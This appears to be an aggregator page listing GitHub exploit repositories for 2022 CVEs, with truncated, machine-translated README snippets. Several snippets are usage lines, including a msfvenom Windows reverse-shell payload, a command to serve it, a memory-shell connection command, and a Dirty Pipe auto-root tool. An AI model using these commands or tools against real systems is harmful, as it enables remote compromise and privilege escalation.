cve-2022-21907

CVE-2022-21907 Dieses Paket erkennt Exploits von CVE-2022-21907 https://corelight.com/blog/detecting-cve-2022-21907 Erkennungsmethode: HTTP HTTP-Daten müssen = 1750 Bytes sein, und HTTP/1.1 wird am Ende der exploitierenden HTTP-Anfrage nicht beobachtet. Verwendung: root@kitploit: $ zeek -Cr...

CVE-2022-26134_Behinder_MemShell

CVE-2022-26134BehinderMemShell Endereço do projeto original: https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL Modificado para conectar ao Behinder Memory Shell java -jar CVE-2022-26134BehinderMemShell.jar http://192.168.0.193:8090/ password123...

CVE-2022-25845-In-Spring

CVE-2022-25845-In-Spring !IMPORTANT Solo per studio e scambio, non utilizzarlo per scopi illeciti Exploit in Python Se ti è utile, lascia una stella Riferimenti: https://github.com/luelueking/CVE-2022-25845-In-Spring Utilizzo Modifica la logica di passaggio dei parametri secondo le tue esigenze;...

CVE-2022-24086-RCE

CVE-2022-24086-RCE Strumento di sfruttamento CVE-2022-24086 scritto in Python 3 compatibile con elenchi di URL/IP. Questo download include un elenco di oltre 334.300 host potenzialmente vulnerabili secondo shodan.io e scansioni personali. Questo strumento NON è gratuito per prevenire abusi. Al...

OpenSSL-2022

Vulnerabilità OpenSSL 2022 - CVE-2022-3602/CVE-2022-3786 Questa repository contiene informazioni operative relative a CVE-2022-3602 e CVE-2022-3786, due vulnerabilità in OpenSSL 3.0.0-3.0.6. Per maggiori informazioni vedere: Avviso di sicurezza OpenSSL FAQ del blog OpenSSL Avviso CERT-Bund DE...

CVE-2022-46169_POC

Exploit per CVE-2022-46169 Ottenere una reverse shell root@kitploit: cactiexploit.py...

CVE-2022-4395

MASS CVE-2022-4395 Utilizzo root@kitploit: apt install python3 python3-pip -y pip3 install -r require.txt python3 main.py Anteprima Riferimento https://wpscan.com/vulnerability/80407ac4-8ce3-4df7-9c41-007b69045c40...

spring-core-rce

CVE-2022-22965: Spring-Core-Rce Exploit Caratteristiche: 1. Rilevamento della vulnerabilità non scrive webshell, semplice output di stringhe 2. Nome e percorso personalizzabili per la scrittura del file webshell 3. Non scrive in aggiunta allo stesso file: ogni rilevamento scrive un file webshell...

netgear_r6700v3_circled

Sfruttare uno Stack Buffer Overflow sul NETGEAR R6700v3 CVE-2022-27646 con l'aiuto dell'Esecuzione Simbolica Introduzione Questo repository ha lo scopo di dimostrare alcune funzionalità di Morion, uno strumento proof-of-concept PoC per sperimentare con l'esecuzione simbolica su binari ARMv7 reali...

CVE-2022-25020

Questo repository non contiene un README...

CVE-2022-25018

Questo repository non contiene un README...

CVE-2022-41040

Questo repository non contiene un README...

cve-2022-3218

Passo 1 — Creare un payload REALE Windows msfvenom -p windows/x64/shellreversetcp LHOST=10.8.5.50 LPORT=4444 -f exe -o exploit.exe Passo 2 — Servire il payload via HTTP Nella stessa directory: python3 -m http.server 80 Passo 3 — Adattare l'exploit Esegui così: python3 CVE-2022-3218.py 172.20.7.18...

DirtyPipe_exploit

DirtyPipeexploit CVE-2022-0847...

WSOB

😭 WSOB CVE-2022-29464 😭 WSOB è uno strumento Python creato per sfruttare la nuova vulnerabilità su WSO2 assegnata come CVE-2022-29464. Dettagli CVE-2022-29464: Alcuni prodotti WSO2 consentono il caricamento di file senza restrizioni con conseguente esecuzione di codice remoto. L'attaccante deve...

Chrome-and-Edge-Version-Dumper

Chrome-and-Edge-Version-Dumper Script Powershell che esporta la versione di Chrome e Edge in un file di testo per determinare se è necessario aggiornare a causa di CVE-2022-1096 Assicurati di modificare i percorsi prima di utilizzarlo e di creare la cartella in cui verrà salvato l'output...

CVE-2022-40684

CVE-2022-40684 POC With RUST For CVE-2022-40684 Fortinet FortiOS, FortiProxy, and FortiSwitchManager...

dirtyPipe-automaticRoot

Dirty Pipe: exploit automatico di root CVE-2022-0847 Dipendenze: Python 3.10 o superiore Come usare: Root automatico: root@kitploit: $ python3.10 dirtyPipe.py -a + hjacking super user in /etc/passwd + dropipng shell Scrivi in un file senza permessi di scrittura, immutabile o montato in sola...

CVE-2022-41852-Disable

Questo repository non contiene un README...

ICT287-CVE-2022-42889

ICT287-CVE-2022-42889 Den vollständigen Bericht zum Exploit-Setup und zur Reproduktion finden Sie in der Datei "CVE-2022-42889-Project Vulnerability Exploitation Report". Die VM, die zum Erstellen und Ausführen des Exploits verwendet wurde, ist nicht in diesem Repository enthalten. Einrichtung un...